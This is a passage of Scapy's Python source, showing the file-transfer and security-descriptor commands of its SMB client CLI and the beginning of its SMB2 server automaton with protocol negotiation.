_get_file(self, file, fd):\n        \"\"\"\n        Gets the file bytes from a remote host\n        \"\"\"\n        # Get pwd of the ls\n        fpath = self.pwd / file\n        self.smbsock.set_TID(self.current_tree)\n\n        # Open file\n        fileId = self.smbsock.create_request(\n            self.normalize_path(fpath),\n            type=\"file\",\n            extra_create_options=[\n                \"FILE_SEQUENTIAL_ONLY\",\n            ]\n            + self.extra_create_options,\n        )\n\n        # Get the file size\n        info = FileAllInformation(\n            self.smbsock.query_info(\n                FileId=fileId,\n                InfoType=\"SMB2_0_INFO_FILE\",\n                FileInfoClass=\"FileAllInformation\",\n            )\n        )\n        length = info.StandardInformation.EndOfFile\n        offset = 0\n\n        # Read the file\n        while length:\n            lengthRead = min(self.smbsock.session.MaxReadSize, length)\n            fd.write(\n                self.smbsock.read_request(fileId, Length=lengthRead, Offset=offset)\n            )\n            offset += lengthRead\n            length -= lengthRead\n\n        # Close the file\n        self.smbsock.close_request(fileId)\n        return offset\n\n    def _send_file(self, fname, fd):\n        \"\"\"\n        Send the file bytes to a remote host\n        \"\"\"\n        # Get destination file\n        fpath = self.pwd / fname\n        self.smbsock.set_TID(self.current_tree)\n        # Open file\n        fileId = self.smbsock.create_request(\n            self.normalize_path(fpath),\n            type=\"file\",\n            mode=\"w\",\n            extra_create_options=self.extra_create_options,\n        )\n        # Send the file\n        offset = 0\n        while True:\n            data = fd.read(self.smbsock.session.MaxWriteSize)\n            if not data:\n                # end of file\n                break\n            offset += self.smbsock.write_request(\n                Data=data,\n                FileId=fileId,\n                Offset=offset,\n            )\n        # Close the file\n        self.smbsock.close_request(fileId)\n        return offset\n\n    def _getr(self, directory, _root, _verb=True):\n        \"\"\"\n        Internal recursive function to get a directory\n\n        :param directory: the remote directory to get\n        :param _root: locally, the directory to store any found files\n        \"\"\"\n        size = 0\n        if not _root.exists():\n            _root.mkdir()\n        # ls the directory\n        for x in self.ls(parent=directory):\n            if x[0] in [\".\", \"..\"]:\n                # Discard . and ..\n                continue\n            remote = directory / x[0]\n            local = _root / x[0]\n            try:\n                if x[1].FILE_ATTRIBUTE_DIRECTORY:\n                    # Sub-directory\n                    size += self._getr(remote, local)\n                else:\n                    # Sub-file\n                    size += self.get(remote, local)[1]\n                if _verb:\n                    print(remote)\n            except ValueError as ex:\n                if _verb:\n                    print(conf.color_theme.red(remote), \"->\", str(ex))\n        return size\n\n    @CLIUtil.addcommand(mono=True, globsupport=True)\n    def get(self, file, _dest=None, _verb=True, *, r=False):\n        \"\"\"\n        Retrieve a file\n        -r: recursively download a directory\n        \"\"\"\n        if self._require_share():\n            return\n        if r:\n            dirpar, dirname = self._parsepath(file)\n            return file, self._getr(\n                dirpar / dirname,  # Remotely\n                _root=self.localpwd / dirname,  # Locally\n                _verb=_verb,\n            )\n        else:\n            fname = pathlib.PureWindowsPath(file).name\n            # Write the buffer\n            if _dest is None:\n                _dest = self.localpwd / fname\n            with _dest.open(\"wb\") as fd:\n                size = self._get_file(file, fd)\n            return fname, size\n\n    @CLIUtil.addoutput(get)\n    def get_output(self, info):\n        \"\"\"\n        Print the output of 'get'\n        \"\"\"\n        print(\"Retrieved '%s' of size %s\" % (info[0], human_size(info[1])))\n\n    @CLIUtil.addcomplete(get)\n    def get_complete(self, file):\n        \"\"\"\n        Auto-complete get\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._fs_complete(file)\n\n    @CLIUtil.addcommand(mono=True, globsupport=True)\n    def cat(self, file):\n        \"\"\"\n        Print a file\n        \"\"\"\n        if self._require_share():\n            return\n        # Write the buffer to buffer\n        buf = io.BytesIO()\n        self._get_file(file, buf)\n        return buf.getvalue()\n\n    @CLIUtil.addoutput(cat)\n    def cat_output(self, result):\n        \"\"\"\n        Print the output of 'cat'\n        \"\"\"\n        print(result.decode(errors=\"backslashreplace\"))\n\n    @CLIUtil.addcomplete(cat)\n    def cat_complete(self, file):\n        \"\"\"\n        Auto-complete cat\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._fs_complete(file)\n\n    @CLIUtil.addcommand(mono=True, globsupport=True)\n    def put(self, file):\n        \"\"\"\n        Upload a file\n        \"\"\"\n        if self._require_share():\n            return\n        local_file = self.localpwd / file\n        if local_file.is_dir():\n            # Directory\n            raise ValueError(\"put on dir not impl\")\n        else:\n            fname = pathlib.Path(file).name\n            with local_file.open(\"rb\") as fd:\n                size = self._send_file(fname, fd)\n        self.ls_cache.clear()\n        return fname, size\n\n    @CLIUtil.addcomplete(put)\n    def put_complete(self, folder):\n        \"\"\"\n        Auto-complete put\n        \"\"\"\n        return self._lfs_complete(folder, lambda x: not x.is_dir())\n\n    @CLIUtil.addcommand(mono=True)\n    def rm(self, file):\n        \"\"\"\n        Delete a file\n        \"\"\"\n        if self._require_share():\n            return\n        # Get pwd of the ls\n        fpath = self.pwd / file\n        self.smbsock.set_TID(self.current_tree)\n        # Open file\n        fileId = self.smbsock.create_request(\n            self.normalize_path(fpath),\n            type=\"file\",\n            mode=\"d\",\n            extra_create_options=self.extra_create_options,\n        )\n        # Close the file\n        self.smbsock.close_request(fileId)\n        self.ls_cache.clear()\n        return fpath.name\n\n    @CLIUtil.addcomplete(rm)\n    def rm_complete(self, file):\n        \"\"\"\n        Auto-complete rm\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._fs_complete(file)\n\n    @CLIUtil.addcommand()\n    def backup(self):\n        \"\"\"\n        Turn on or off backup intent\n        \"\"\"\n        if \"FILE_OPEN_FOR_BACKUP_INTENT\" in self.extra_create_options:\n            print(\"Backup Intent: Off\")\n            self.extra_create_options.remove(\"FILE_OPEN_FOR_BACKUP_INTENT\")\n        else:\n            print(\"Backup Intent: On\")\n            self.extra_create_options.append(\"FILE_OPEN_FOR_BACKUP_INTENT\")\n\n    @CLIUtil.addcommand(mono=True)\n    def watch(self, folder):\n        \"\"\"\n        Watch file changes in folder (recursively)\n        \"\"\"\n        if self._require_share():\n            return\n        # Get pwd of the ls\n        fpath = self.pwd / folder\n        self.smbsock.set_TID(self.current_tree)\n        # Open file\n        fileId = self.smbsock.create_request(\n            self.normalize_path(fpath),\n            type=\"folder\",\n            extra_create_options=self.extra_create_options,\n        )\n        print(\"Watching '%s'\" % fpath)\n        # Watch for changes\n        try:\n            while True:\n                changes = self.smbsock.changenotify(fileId)\n                for chg in changes:\n                    print(chg.sprintf(\"%.time%: %Action% %FileName%\"))\n        except KeyboardInterrupt:\n            pass\n        print(\"Cancelled.\")\n\n    @CLIUtil.addcommand(mono=True)\n    def getsd(self, file):\n        \"\"\"\n        Get the Security Descriptor\n        \"\"\"\n        if self._require_share():\n            return\n        fpath = self.pwd / file\n        self.smbsock.set_TID(self.current_tree)\n        # Open file\n        fileId = self.smbsock.create_request(\n            self.normalize_path(fpath),\n            type=\"\",\n            mode=\"\",\n            extra_desired_access=[\"READ_CONTROL\", \"ACCESS_SYSTEM_SECURITY\"],\n        )\n        # Get the file size\n        info = self.smbsock.query_info(\n            FileId=fileId,\n            InfoType=\"SMB2_0_INFO_SECURITY\",\n            FileInfoClass=0,\n            AdditionalInformation=(\n                0x00000001\n                | 0x00000002\n                | 0x00000004\n                | 0x00000008\n                | 0x00000010\n                | 0x00000020\n                | 0x00000040\n                | 0x00010000\n            ),\n        )\n        self.smbsock.close_request(fileId)\n        return info\n\n    @CLIUtil.addcomplete(getsd)\n    def getsd_complete(self, file):\n        \"\"\"\n        Auto-complete getsd\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._fs_complete(file)\n\n    @CLIUtil.addoutput(getsd)\n    def getsd_output(self, results):\n        \"\"\"\n        Print the output of 'getsd'\n        \"\"\"\n        sd = SECURITY_DESCRIPTOR(results)\n        sd.show_print()\n\n\nif __name__ == \"__main__\":\n    from scapy.utils import AutoArgparse\n\n    AutoArgparse(smbclient)\n"
  },
  {
    "path": "scapy/layers/smbserver.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nSMB 2 Server Automaton\n\nThis provides a [MS-SMB2] server that can:\n- serve files\n- host a DCE/RPC server\n\nThis is a Scapy Automaton that is supposedly easily extendable.\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `SMB <https://scapy.readthedocs.io/en/latest/layers/smb.html#server>`_\n\"\"\"\n\nimport hashlib\nimport pathlib\nimport socket\nimport struct\nimport time\n\nfrom scapy.arch import get_if_addr\nfrom scapy.automaton import ATMT, Automaton\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS\nfrom scapy.error import log_runtime, log_interactive\nfrom scapy.volatile import RandUUID\n\nfrom scapy.layers.dcerpc import (\n    DCERPC_Transport,\n    NDRUnion,\n    NDRPointer,\n)\nfrom scapy.layers.gssapi import (\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_CREDENTIALS_EXPIRED,\n)\nfrom scapy.layers.msrpce.rpcserver import DCERPC_Server\nfrom scapy.layers.ntlm import (\n    NTLMSSP,\n)\nfrom scapy.layers.smb import (\n    SMBNegotiate_Request,\n    SMBNegotiate_Response_Extended_Security,\n    SMBNegotiate_Response_Security,\n    SMBSession_Null,\n    SMBSession_Setup_AndX_Request,\n    SMBSession_Setup_AndX_Request_Extended_Security,\n    SMBSession_Setup_AndX_Response,\n    SMBSession_Setup_AndX_Response_Extended_Security,\n    SMBTree_Connect_AndX,\n    SMB_Header,\n)\nfrom scapy.layers.windows.security import SECURITY_DESCRIPTOR\nfrom scapy.layers.smb2 import (\n    DFS_REFERRAL_ENTRY1,\n    DFS_REFERRAL_V3,\n    DirectTCP,\n    FILE_BOTH_DIR_INFORMATION,\n    FILE_FULL_DIR_INFORMATION,\n    FILE_ID_BOTH_DIR_INFORMATION,\n    FILE_NAME_INFORMATION,\n    FileAllInformation,\n    FileAlternateNameInformation,\n    FileBasicInformation,\n    FileEaInformation,\n    FileFsAttributeInformation,\n    FileFsSizeInformation,\n    FileFsVolumeInformation,\n    FileIdBothDirectoryInformation,\n    FileInternalInformation,\n    FileNetworkOpenInformation,\n    FileStandardInformation,\n    FileStreamInformation,\n    NETWORK_INTERFACE_INFO,\n    SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2,\n    SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE,\n    SMB2_CREATE_QUERY_ON_DISK_ID,\n    SMB2_Cancel_Request,\n    SMB2_Change_Notify_Request,\n    SMB2_Change_Notify_Response,\n    SMB2_Close_Request,\n    SMB2_Close_Response,\n    SMB2_Create_Context,\n    SMB2_Create_Request,\n    SMB2_Create_Response,\n    SMB2_ENCRYPTION_CIPHERS,\n    SMB2_Echo_Request,\n    SMB2_Echo_Response,\n    SMB2_Encryption_Capabilities,\n    SMB2_Error_Response,\n    SMB2_FILEID,\n    SMB2_Header,\n    SMB2_IOCTL_Network_Interface_Info,\n    SMB2_IOCTL_RESP_GET_DFS_Referral,\n    SMB2_IOCTL_Request,\n    SMB2_IOCTL_Response,\n    SMB2_IOCTL_Validate_Negotiate_Info_Response,\n    SMB2_Negotiate_Context,\n    SMB2_Negotiate_Protocol_Request,\n    SMB2_Negotiate_Protocol_Response,\n    SMB2_Preauth_Integrity_Capabilities,\n    SMB2_Query_Directory_Request,\n    SMB2_Query_Directory_Response,\n    SMB2_Query_Info_Request,\n    SMB2_Query_Info_Response,\n    SMB2_Read_Request,\n    SMB2_Read_Response,\n    SMB2_SIGNING_ALGORITHMS,\n    SMB2_Session_Logoff_Request,\n    SMB2_Session_Logoff_Response,\n    SMB2_Session_Setup_Request,\n    SMB2_Session_Setup_Response,\n    SMB2_Set_Info_Request,\n    SMB2_Set_Info_Response,\n    SMB2_Signing_Capabilities,\n    SMB2_Tree_Connect_Request,\n    SMB2_Tree_Connect_Response,\n    SMB2_Tree_Disconnect_Request,\n    SMB2_Tree_Disconnect_Response,\n    SMB2_Write_Request,\n    SMB2_Write_Response,\n    SMBStreamSocket,\n    SOCKADDR_STORAGE,\n    SRVSVC_SHARE_TYPES,\n)\nfrom scapy.layers.spnego import SPNEGOSSP\n\n# Import DCE/RPC\nfrom scapy.layers.msrpce.raw.ms_srvs import (\n    LPSERVER_INFO_101,\n    LPSHARE_ENUM_STRUCT,\n    LPSHARE_INFO_1,\n    NetrServerGetInfo_Request,\n    NetrServerGetInfo_Response,\n    NetrShareEnum_Request,\n    NetrShareEnum_Response,\n    NetrShareGetInfo_Request,\n    NetrShareGetInfo_Response,\n    SHARE_INFO_1_CONTAINER,\n)\nfrom scapy.layers.msrpce.raw.ms_wkst import (\n    LPWKSTA_INFO_100,\n    NetrWkstaGetInfo_Request,\n    NetrWkstaGetInfo_Response,\n)\n\n\nclass SMBShare:\n    \"\"\"\n    A class used to define a share, used by SMB_Server\n\n    :param name: the share name\n    :param path: the path the the folder hosted by the share\n    :param type: (optional) share type per [MS-SRVS] sect 2.2.2.4\n    :param remark: (optional) a description of the share\n    :param encryptdata: (optional) whether encryption should be used for this\n        share. This only applies to SMB 3.1.1.\n    \"\"\"\n\n    def __init__(self, name, path=\".\", type=None, remark=\"\", encryptdata=False):\n        # Set the default type\n        if type is None:\n            type = 0  # DISKTREE\n            if name.endswith(\"$\"):\n                type &= 0x80000000  # SPECIAL\n        # Lower case the name for resolution\n        self._name = name.lower()\n        # Resolve path\n        self.path = pathlib.Path(path).resolve()\n        # props\n        self.name = name\n        self.type = type\n        self.remark = remark\n        self.encryptdata = encryptdata\n\n    def __repr__(self):\n        type = SRVSVC_SHARE_TYPES[self.type & 0x0FFFFFFF]\n        if self.type & 0x80000000:\n            type = \"SPECIAL+\" + type\n        if self.type & 0x40000000:\n            type = \"TEMPORARY+\" + type\n        return \"<SMBShare %s [%s]%s = %s>\" % (\n            self.name,\n            type,\n            self.remark and (\" '%s'\" % self.remark) or \"\",\n            str(self.path),\n        )\n\n\n# The SMB Automaton\n\n\nclass SMB_Server(Automaton):\n    \"\"\"\n    SMB server automaton\n\n    :param shares: the shares to serve. By default, share nothing.\n                   Note that IPC$ is appended.\n    :param ssp: the SSP to use\n\n    All other options (in caps) are optional, and SMB specific:\n\n    :param ANONYMOUS_LOGIN: mark the clients as anonymous\n    :param GUEST_LOGIN: mark the clients as guest\n    :param REQUIRE_SIGNATURE: set 'Require Signature'\n    :param REQUIRE_ENCRYPTION: globally require encryption.\n        You could also make it share-specific on 3.1.1.\n    :param MAX_DIALECT: maximum SMB dialect. Defaults to 0x0311 (3.1.1)\n    :param TREE_SHARE_FLAGS: flags to announce on Tree_Connect_Response\n    :param TREE_CAPABILITIES: capabilities to announce on Tree_Connect_Response\n    :param TREE_MAXIMAL_ACCESS: maximal access to announce on Tree_Connect_Response\n    :param FILE_MAXIMAL_ACCESS: maximal access to announce in MxAc Create Context\n    \"\"\"\n\n    pkt_cls = DirectTCP\n    socketcls = SMBStreamSocket\n\n    def __init__(self, shares=[], ssp=None, verb=True, readonly=True, *args, **kwargs):\n        self.verb = verb\n        if \"sock\" not in kwargs:\n            raise ValueError(\n                \"SMB_Server cannot be started directly ! Use SMB_Server.spawn\"\n            )\n        # Various SMB server arguments\n        self.ANONYMOUS_LOGIN = kwargs.pop(\"ANONYMOUS_LOGIN\", False)\n        self.GUEST_LOGIN = kwargs.pop(\"GUEST_LOGIN\", None)\n        self.EXTENDED_SECURITY = kwargs.pop(\"EXTENDED_SECURITY\", True)\n        self.USE_SMB1 = kwargs.pop(\"USE_SMB1\", False)\n        self.REQUIRE_SIGNATURE = kwargs.pop(\"REQUIRE_SIGNATURE\", None)\n        self.REQUIRE_ENCRYPTION = kwargs.pop(\"REQUIRE_ENCRYPTION\", False)\n        self.MAX_DIALECT = kwargs.pop(\"MAX_DIALECT\", 0x0311)\n        self.TREE_SHARE_FLAGS = kwargs.pop(\n            \"TREE_SHARE_FLAGS\", \"FORCE_LEVELII_OPLOCK+RESTRICT_EXCLUSIVE_OPENS\"\n        )\n        self.TREE_CAPABILITIES = kwargs.pop(\"TREE_CAPABILITIES\", 0)\n        self.TREE_MAXIMAL_ACCESS = kwargs.pop(\n            \"TREE_MAXIMAL_ACCESS\",\n            \"+\".join(\n                [\n                    \"FILE_READ_DATA\",\n                    \"FILE_WRITE_DATA\",\n                    \"FILE_APPEND_DATA\",\n                    \"FILE_READ_EA\",\n                    \"FILE_WRITE_EA\",\n                    \"FILE_EXECUTE\",\n                    \"FILE_DELETE_CHILD\",\n                    \"FILE_READ_ATTRIBUTES\",\n                    \"FILE_WRITE_ATTRIBUTES\",\n                    \"DELETE\",\n                    \"READ_CONTROL\",\n                    \"WRITE_DAC\",\n                    \"WRITE_OWNER\",\n                    \"SYNCHRONIZE\",\n                ]\n            ),\n        )\n        self.FILE_MAXIMAL_ACCESS = kwargs.pop(\n            # Read-only\n            \"FILE_MAXIMAL_ACCESS\",\n            \"+\".join(\n                [\n                    \"FILE_READ_DATA\",\n                    \"FILE_READ_EA\",\n                    \"FILE_EXECUTE\",\n                    \"FILE_READ_ATTRIBUTES\",\n                    \"READ_CONTROL\",\n                    \"SYNCHRONIZE\",\n                ]\n            ),\n        )\n        self.LOCAL_IPS = kwargs.pop(\n            \"LOCAL_IPS\", [get_if_addr(kwargs.get(\"iface\", conf.iface) or conf.iface)]\n        )\n        self.DOMAIN_REFERRALS = kwargs.pop(\"DOMAIN_REFERRALS\", [])\n        if self.USE_SMB1:\n            log_runtime.warning(\"Serving SMB1 is not supported :/\")\n        self.readonly = readonly\n        # We don't want to update the parent shares argument\n        self.shares = shares.copy()\n        # Append the IPC$ share\n        self.shares.append(\n            SMBShare(\n                name=\"IPC$\",\n                type=0x80000003,  # SPECIAL+IPC\n                remark=\"Remote IPC\",\n            )\n        )\n        # Initialize the DCE/RPC server for SMB\n        self.rpc_server = SMB_DCERPC_Server(\n            DCERPC_Transport.NCACN_NP,\n            shares=self.shares,\n            verb=self.verb,\n        )\n        # Extend it if another DCE/RPC server is provided\n        if \"DCERPC_SERVER_CLS\" in kwargs:\n            self.rpc_server.extend(kwargs.pop(\"DCERPC_SERVER_CLS\"))\n        # Internal Session information\n        self.SMB2 = False\n        self.NegotiateCapabilities = None\n        self.GUID = RandUUID()._fix()\n        self.NextForceSign = False\n        self.NextForceEncrypt = False\n        # Compounds are handled on receiving by the StreamSocket,\n        # and on aggregated in a CompoundQueue to be sent in one go\n        self.NextCompound = False\n        self.CompoundedHandle = None\n        # SSP provider\n        if ssp is None:\n            # No SSP => fallback on NTLM with guest\n            ssp = SPNEGOSSP(\n                [\n                    NTLMSSP(\n                        USE_MIC=False,\n                        DO_NOT_CHECK_LOGIN=True,\n                    ),\n                ]\n            )\n            if self.GUEST_LOGIN is None:\n                self.GUEST_LOGIN = True\n        # Initialize\n        Automaton.__init__(self, *args, **kwargs)\n        # Set session options\n        self.session.ssp = ssp\n        self.session.SigningRequired = (\n            self.REQUIRE_SIGNATURE if self.REQUIRE_SIGNATURE is not None else bool(ssp)\n        )\n\n    @property\n    def session(self):\n        # session shorthand\n        return self.sock.session\n\n    def vprint(self, s=\"\"):\n        \"\"\"\n        Verbose print (if enabled)\n        \"\"\"\n        if self.verb:\n            if conf.interactive:\n                log_interactive.info(\"> %s\", s)\n            else:\n                print(\"> %s\" % s)\n\n    def send(self, pkt):\n        ForceSign, ForceEncrypt = self.NextForceSign, self.NextForceEncrypt\n        self.NextForceSign = self.NextForceEncrypt = False\n        return super(SMB_Server, self).send(\n            pkt,\n            Compounded=self.NextCompound,\n            ForceSign=ForceSign,\n            ForceEncrypt=ForceEncrypt,\n        )\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.authenticated = False\n\n    @ATMT.receive_condition(BEGIN)\n    def received_negotiate(self, pkt):\n        if SMBNegotiate_Request in pkt:\n            raise self.NEGOTIATED().action_parameters(pkt)\n\n    @ATMT.receive_condition(BEGIN)\n    def received_negotiate_smb2_begin(self, pkt):\n        if SMB2_Negotiate_Protocol_Request in pkt:\n            self.SMB2 = True\n            raise self.NEGOTIATED().action_parameters(pkt)\n\n    @ATMT.action(received_negotiate_smb2_begin)\n    def on_negotiate_smb2_begin(self, pkt):\n        self.on_negotiate(pkt)\n\n    @ATMT.action(received_negotiate)\n    def on_negotiate(self, pkt):\n        self.session.sspcontext, spnego_token = self.session.ssp.NegTokenInit2()\n        # Build negotiate response\n        DialectIndex = None\n        DialectRevision = None\n        if SMB2_Negotiate_Protocol_Request in pkt:\n            # SMB2\n            DialectRevisions = pkt[SMB2_Negotiate_Protocol_Request].Dialects\n            DialectRevisions = [x for x in DialectRevisions if x <= self.MAX_DIALECT]\n            DialectRevisions.sort(reverse=True)\n            if DialectRevisions:\n                DialectRevision = DialectRevisions[0]\n        else:\n            # SMB1\n            DialectIndexes = [\n                x.DialectString for x in pkt[SMBNegotiate_Request].Dialects\n            ]\n            if self.USE_SMB1:\n                # Enforce SMB1\n                DialectIndex = DialectIndexes.index(b\"NT LM 0.12\")\n            else:\n                # Find a value matching SMB2, fallback to SMB1\n                for key, rev in [(b\"SMB 2.???\", 0x02FF), (b\"SMB 2.002\", 0x0202)]:\n                    try:\n                        DialectIndex = DialectIndexes.index(key)\n                        DialectRevision = rev\n                        self.SMB2 = True\n                        break\n                    except ValueError:\n                        pass\n                else:\n                    DialectIndex = DialectIndexes.index(b\"NT LM 0.12\")\n        if DialectRevision and DialectRevision & 0xFF != 0xFF:\n            # Version isn't SMB X.???\n            self.session.Dialect = DialectRevision\n        cls = None\n        if self.SMB2:\n            # SMB2\n            cls = SMB2_Negotiate_Protocol_Response\n            self.smb_header = DirectTCP() / SMB2_Header(\n                Flags=\"SMB2_FLAGS_SERVER_TO_REDIR\",\n                CreditRequest=1,\n                CreditCharge=1,\n            )\n            if SMB2_Negotiate_Protocol_Request in pkt:\n                self.update_smbheader(pkt)\n        else:\n            # SMB1\n            self.smb_header = DirectTCP() / SMB_Header(\n                Flags=\"REPLY+CASE_INSENSITIVE+CANONICALIZED_PATHS\",\n                Flags2=(\n                    \"LONG_NAMES+EAS+NT_STATUS+SMB_SECURITY_SIGNATURE+\"\n                    \"UNICODE+EXTENDED_SECURITY\"\n                ),\n                TID=pkt.TID,\n                MID=pkt.MID,\n                UID=pkt.UID,\n                PIDLow=pkt.PIDLow,\n            )\n            if self.EXTENDED_SECURITY:\n                cls = SMBNegotiate_Response_Extended_Security\n            else:\n                cls = SMBNegotiate_Response_Security\n        if DialectRevision is None and DialectIndex is None:\n            # No common dialect found.\n            if self.SMB2:\n                resp = self.smb_header.copy() / SMB2_Error_Response()\n                resp.Command = \"SMB2_NEGOTIATE\"\n            else:\n                resp = self.smb_header.copy() / SMBSession_Null()\n                resp.Command = \"SMB_COM_NEGOTIATE\"\n            resp.Status = \"STATUS_NOT_SUPPORTED\"\n            self.send(resp)\n            return\n        if self.SMB2:  # SMB2\n            # SecurityMode\n            if SMB2_Header in pkt and pkt.SecurityMode.SIGNING_REQUIRED:\n                self.session.SigningRequired = True\n            # Capabilities: [MS-SMB2] 3.3.5.4\n            self.NegotiateCapabilities = \"+\".join(\n                [\n                    \"DFS\",\n                    \"LEASING\",\n                    \"LARGE_MTU\",\n                ]\n            )\n            if DialectRevision >= 0x0300:\n                # \"if Connection.Dialect belongs to the SMB 3.x dialect family,\n                # the server supports...\"\n                self.NegotiateCapabilities += \"+\" + \"+\".join(\n                    [\n                        \"MULTI_CHANNEL\",\n                        \"PERSISTENT_HANDLES\",\n                        \"DIRECTORY_LEASING\",\n                        \"ENCRYPTION\",\n                    ]\n                )\n            # Build response\n            resp = self.smb_header.copy() / cls(\n                DialectRevision=DialectRevision,\n                SecurityMode=(\n                    \"SIGNING_ENABLED+SIGNING_REQUIRED\"\n                    if self.session.SigningRequired\n                    else \"SIGNING_ENABLED\"\n                ),\n                ServerTime=(time.time() + 11644473600) * 1e7,\n                ServerStartTime=0,\n                MaxTransactionSize=65536,\n                MaxReadSize=65536,\n                MaxWriteSize=65536,\n                Capabilities=self.NegotiateCapabilities,\n            )\n            # SMB >= 3.0.0\n            if DialectRevision >= 0x0300:\n                # [MS-SMB2] sect 3.3.5.3.1 note 253\n                resp.MaxTransactionSize = 0x800000\n                resp.MaxReadSize = 0x800000\n                resp.MaxWriteSize = 0x800000\n            # SMB 3.1.1\n            if DialectRevision >= 0x0311 and pkt.NegotiateContextsCount:\n                # Negotiate context-capabilities\n                for ngctx in pkt.NegotiateContexts:\n                    if ngctx.ContextType == 0x0002:\n                        # SMB2_ENCRYPTION_CAPABILITIES\n                        for ciph in ngctx.Ciphers:\n                            tciph = SMB2_ENCRYPTION_CIPHERS.get(ciph, None)\n                            if tciph in self.session.SupportedCipherIds:\n                                # Common !\n                                self.session.CipherId = tciph\n                                self.session.SupportsEncryption = True\n                                break\n                    elif ngctx.ContextType == 0x0008:\n                        # SMB2_SIGNING_CAPABILITIES\n                        for signalg in ngctx.SigningAlgorithms:\n                            tsignalg = SMB2_SIGNING_ALGORITHMS.get(signalg, None)\n                            if tsignalg in self.session.SupportedSigningAlgorithmIds:\n                                # Common !\n                                self.session.SigningAlgorithmId = tsignalg\n                                break\n                # Send back the negotiated algorithms\n                resp.NegotiateContexts = [\n                    # Preauth capabilities\n                    SMB2_Negotiate_Context()\n                    / SMB2_Preauth_Integrity_Capabilities(\n                        # SHA-512 by default\n                        HashAlgorithms=[self.session.PreauthIntegrityHashId],\n                        Salt=self.session.Salt,\n                    ),\n                    # Encryption capabilities\n                    SMB2_Negotiate_Context()\n                    / SMB2_Encryption_Capabilities(\n                        # AES-128-CCM by default\n                        Ciphers=[self.session.CipherId],\n                    ),\n                    # Signing capabilities\n                    SMB2_Negotiate_Context()\n                    / SMB2_Signing_Capabilities(\n                        # AES-128-CCM by default\n                        SigningAlgorithms=[self.session.SigningAlgorithmId],\n                    ),\n                ]\n        else:\n            # SMB1\n            resp = self.smb_header.copy() / cls(\n                DialectIndex=DialectIndex,\n                ServerCapabilities=(\n                    \"UNICODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+\"\n                    \"LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+\"\n                    \"LWIO+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX\"\n                ),\n                SecurityMode=(\n                    \"SIGNING_ENABLED+SIGNING_REQUIRED\"\n                    if self.session.SigningRequired\n                    else \"SIGNING_ENABLED\"\n                ),\n                ServerTime=(time.time() + 11644473600) * 1e7,\n                ServerTimeZone=0x3C,\n            )\n            if self.EXTENDED_SECURITY:\n                resp.ServerCapabilities += \"EXTENDED_SECURITY\"\n        if self.EXTENDED_SECURITY or self.SMB2:\n            # Extended SMB1 / SMB2\n            resp.GUID = self.GUID\n            # Add security blob\n            resp.SecurityBlob = spnego_token\n        else:\n            # Non-extended SMB1\n            # FIXME never tested.\n            resp.SecurityBlob = spnego_token\n            resp.Flags2 -= \"EXTENDED_SECURITY\"\n        if not self.SMB2:\n            resp[SMB_Header].Flags2 = (\n                resp[SMB_Header].Flags2\n                - \"SMB_SECURITY_SIGNATURE\"\n                + \"SMB_SECURITY_SIGNATURE_REQUIRED+IS_LONG_NAME\"\n            )\n        if SMB2_Header in pkt:\n            # If required, compute sessions\n            self.session.computeSMBConnectionPreauth(\n                bytes(pkt[SMB2_Header]),  # nego request\n                bytes(resp[SMB2_Header]),  # nego response\n            )\n        self.send(resp)\n\n    @ATMT.state(final=1)\n    def NEGO_FAILED(self):\n        self.vprint(\"SMB Negotiate failed: encryption was not negotiated.\")\n        self.end()\n\n    @ATMT.state()\n    def NEGOTIATED(self):\n        pass\n\n    def update_smbheader(self, pkt):\n        \"\"\"\n        Called when receiving a SMB2 packet to update the current smb_header\n        \"\"\"\n        # [MS-SMB2] sect 3.2.5.1.4 - always grant client its credits\n        self.smb_header.CreditRequest = pkt.CreditRequest\n        # [MS-SMB2] sect 3.3.4.1\n        # \"the server SHOULD set the CreditCharge field in the SMB2 header\n        # of the response to the CreditCharge value in the SMB2 header of the request.\"\n        self.smb_header.CreditCharge = pkt.CreditCharge\n        # If the packet has a NextCommand, set NextCompound to True\n        self.NextCompound = bool(pkt.NextCommand)\n        # [MS-SMB2] sect 3.3.4.1.1 - \"If the request was signed by the client...\"\n        # If the packet was signed, note we must answer with a signed packet.\n        if (\n            not self.session.SigningRequired\n            and pkt.SecuritySignature != b\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n        ):\n            self.NextForceSign = True\n        # [MS-SMB2] sect 3.3.4.1.4 - \"If the message being sent is any response to a\n        # client request for which Request.IsEncrypted is TRUE\"\n        if pkt[SMB2_Header]._decrypted:\n            self.NextForceEncrypt = True\n        # [MS-SMB2] sect 3.3.5.2.7.2\n        # Add SMB2_FLAGS_RELATED_OPERATIONS to the response if present\n        if pkt.Flags.SMB2_FLAGS_RELATED_OPERATIONS:\n            self.smb_header.Flags += \"SMB2_FLAGS_RELATED_OPERATIONS\"\n        else:\n            self.smb_header.Flags -= \"SMB2_FLAGS_RELATED_OPERATIONS\"\n        # [MS-SMB2] sect 2.2.1.2 - Priority\n        if (self.session.Dialect or 0) >= 0x0311:\n            self.smb_header.Flags &= 0xFF8F\n            self.smb_header.Flags |= int(pkt.Flags) & 0x70\n        # Update IDs\n        self.smb_header.SessionId = pkt.SessionId\n        self.smb_header.TID = pkt.TID\n        self.smb_header.MID = pkt.MID\n        self.smb_header.PID = pkt.PID\n\n    @ATMT.receive_condition(NEGOTIATED)\n    def received_negotiate_smb2(self, pkt):\n        if SMB2_Negotiate_Protocol_Request in pkt:\n            raise self.NEGOTIATED().action_parameters(pkt)\n\n    @ATMT.action(received_negotiate_smb2)\n    def on_negotiate_smb2(self, pkt):\n        